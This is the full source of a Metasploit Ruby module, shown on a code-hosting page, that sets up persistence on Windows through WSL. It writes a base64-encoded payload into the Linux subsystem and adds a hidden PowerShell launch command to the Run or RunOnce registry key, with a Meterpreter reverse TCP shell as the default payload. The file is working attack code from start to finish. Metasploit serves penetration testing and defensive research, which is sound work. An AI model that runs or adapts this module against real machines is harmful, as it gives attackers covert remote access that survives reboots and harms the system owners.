Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/persistence/wsl/registry.rb
32545 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = GoodRanking
8
9
include Msf::Post::Windows::Powershell
10
include Msf::Post::Windows::Registry
11
include Msf::Post::File
12
include Msf::Exploit::Local::Persistence
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Windows WSL via Registry Persistence',
20
'Description' => %q{
21
This module will install a payload in WSL and execute it at user
22
logon or system startup via the registry value in "CurrentVersion\Run"
23
or "RunOnce" (depending on privilege and selected method).
24
The payload will be installed completely in registry.
25
26
Staged payloads, like fetch payloads in linux X64 don't tend to work. The payload
27
will ask for the stage, then submit the HTTP fetch request
28
and when the payload is sent it doesn't execute.
29
30
`cmd/linux/http/x64/meterpreter_reverse_tcp` and unix cmd payloads tend to work.
31
},
32
'License' => MSF_LICENSE,
33
'Author' => [
34
'Joe Helle', # original writeup
35
'h00die',
36
],
37
'Platform' => [ 'unix', 'linux' ],
38
'Arch' => [ARCH_CMD, ARCH_X64],
39
'SessionTypes' => [ 'meterpreter', 'shell' ],
40
'DefaultOptions' => {
41
'Payload' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
42
},
43
'Targets' => [
44
[ 'Automatic', {} ]
45
],
46
'References' => [
47
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
48
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
49
['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
50
['URL', 'https://medium.themayor.tech/windows-persistence-using-wsl2-8f87e319ea56'],
51
['URL', 'https://lolapps-project.github.io/lolapps/Desktop/wsl/']
52
],
53
'DefaultTarget' => 0,
54
'DisclosureDate' => '2022-01-29',
55
'Notes' => {
56
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
57
'Stability' => [CRASH_SAFE],
58
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
59
}
60
)
61
)
62
63
register_options([
64
OptEnum.new('STARTUP',
65
[true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),
66
OptString.new('RUN_NAME',
67
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
68
OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),
69
OptString.new('PAYLOAD_NAME',
70
[false, 'The filename for the payload to be used on the target host (random by default).']),
71
])
72
73
# overload this to prevent it from trying to do windows things since we're writing to the underlying linux
74
register_advanced_options(
75
[
76
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
77
]
78
)
79
end
80
81
def generate_cmd_reg
82
datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
83
end
84
85
def regkey
86
datastore['REG_KEY']
87
end
88
89
def install_cmd(cmd, cmd_reg, root_path)
90
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')
91
fail_with(Failure::Unknown, 'Could not install run key')
92
end
93
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")
94
end
95
96
def get_root_path
97
return 'HKCU' if datastore['STARTUP'] == 'USER'
98
99
'HKLM'
100
end
101
102
def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
103
@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
104
if new_key
105
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
106
end
107
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
108
end
109
110
def check
111
# /tmp seems to persist on *some* Ubuntu WSL (wsl v1 it did, v2 it didnt)
112
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
113
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')
114
115
vprint_good('Powershell detected on system')
116
117
# test write to see if we have access
118
root_path = get_root_path
119
rand = Rex::Text.rand_text_alphanumeric(15)
120
121
vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
122
return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?
123
124
registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
125
126
return Msf::Exploit::CheckCode::Safe('WSL Not installed') unless wsl_enabled?
127
128
Msf::Exploit::CheckCode::Vulnerable('Registry writable and WSL installed')
129
end
130
131
def install_persistence
132
root_path = get_root_path
133
print_status("Root path is #{root_path}")
134
table = Rex::Text::Table.new(
135
'Header' => 'WSL',
136
'Columns' => %w[# Instance_Name State Version Default],
137
'Rows' => instance_list.map.with_index do |instance, i|
138
[i + 1, instance[:name], instance[:state], instance[:version], instance[:default]]
139
end
140
)
141
142
print_line table.to_s
143
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
144
145
# write our payload into a file
146
vprint_status("Writing payload to: #{datastore['WritableDir']}/#{payload_name}. WSL may take a little while to start up...")
147
148
b64_payload = Rex::Text.encode_base64(payload.encoded)
149
150
bash_command = "bash -lc 'echo #{b64_payload} | base64 -d > #{datastore['WritableDir']}/#{payload_name}'"
151
ps_command = "powershell.exe -WindowStyle Hidden -Command \"wsl #{bash_command}\""
152
153
# sometimes wsl is busy doing wsl things and can take a minute to come up for this first command.
154
resp = cmd_exec(ps_command, nil, 120)
155
fail_with(Failure::UnexpectedReply, "Writing payload output: #{resp}") unless resp.strip.empty?
156
print_good('Payload wrote successfully')
157
158
resp = cmd_exec("powershell.exe -WindowStyle Hidden -Command \"wsl chmod +x #{datastore['WritableDir']}/#{payload_name}\"")
159
fail_with(Failure::UnexpectedReply, "Setting payload permissions output: #{resp}") unless resp.strip.empty?
160
161
cmd = "powershell.exe -WindowStyle Hidden -Command \"wsl bash -lc 'cd #{datastore['WritableDir']}; nohup #{datastore['WritableDir']}/#{payload_name} > /dev/null 2>&1'\""
162
cmd_reg = generate_cmd_reg
163
164
print_status('Installing run key')
165
install_cmd(cmd, cmd_reg, root_path)
166
167
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
168
@clean_up_rc << "execute -f cmd.exe -a \" /c wsl rm '#{datastore['WritableDir']}/#{payload_name}'\"\n"
169
end
170
171
def wsl_enabled?
172
# Powershell output will look like the following:
173
#
174
# FeatureName : Microsoft-Windows-Subsystem-Linux
175
# DisplayName : Windows Subsystem for Linux
176
# Description : Provides services and environments for running native user-mode Linux shells and tools on Windows.
177
# RestartRequired : Possible
178
# State : Enabled
179
# CustomProperties :
180
# ServerComponent\Description : Provides services and environments for running native user-mode Linux
181
# shells and tools on Windows.
182
# ServerComponent\DisplayName : Windows Subsystem for Linux
183
# ServerComponent\Id : 1033
184
# ServerComponent\Type : Feature
185
# ServerComponent\UniqueName : Microsoft-Windows-Subsystem-Linux
186
# ServerComponent\Deploys\Update\Name : Microsoft-Windows-Subsystem-Linux
187
return false unless have_powershell?
188
189
cmd = 'powershell.exe -WindowStyle Hidden -Command "Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux"'
190
result = cmd_exec(cmd)
191
192
return false if result.blank?
193
194
# Extract the state line, e.g. "State : Enabled"
195
if result =~ /^State\s*:\s*(\w+)/i
196
return Regexp.last_match(1).casecmp('Enabled').zero?
197
end
198
199
false
200
end
201
202
def clean_windows_utf16(str)
203
# Detect presence of null bytes (\u0000)
204
if str.include?("\u0000")
205
# Convert from UTF-16LE to UTF-8
206
str.encode('UTF-8', 'UTF-16LE')
207
else
208
# Return unchanged if it’s already clean
209
str
210
end
211
end
212
213
def instance_list
214
vprint_status('Enumerating WSL Instances')
215
cmd = 'powershell.exe -WindowStyle Hidden -Command "wsl --list --verbose"'
216
# 3hrs later of debugging, i found this returns " \u0000 \u0000N\u0000A\u0000M\u0000E\u0000 \u0000 \u0000"... so clean it up
217
result = clean_windows_utf16(cmd_exec(cmd))
218
219
return [] if result.nil?
220
return [] unless result =~ /NAME\s+STATE\s+VERSION/i
221
222
lines = result.lines.map(&:strip).reject(&:empty?)
223
224
header_index = lines.find_index { |l| l =~ /NAME\s+STATE\s+VERSION/i }
225
return [] if header_index.nil?
226
227
data_lines = lines[(header_index + 1)..]
228
images = []
229
data_lines.map do |line|
230
# Handle the default distro marked with '*'
231
default = line.start_with?('*')
232
line = line.sub(/^\*\s*/, '') # remove leading "* "
233
234
# Split by whitespace but preserve multi-word names
235
# Example line: "Ubuntu-22.04 Running 2"
236
name, state, version = line.split(/\s{2,}/)
237
238
images.append({
239
name: name,
240
state: state,
241
version: version,
242
default: default
243
})
244
end
245
images
246
end
247
end
248
249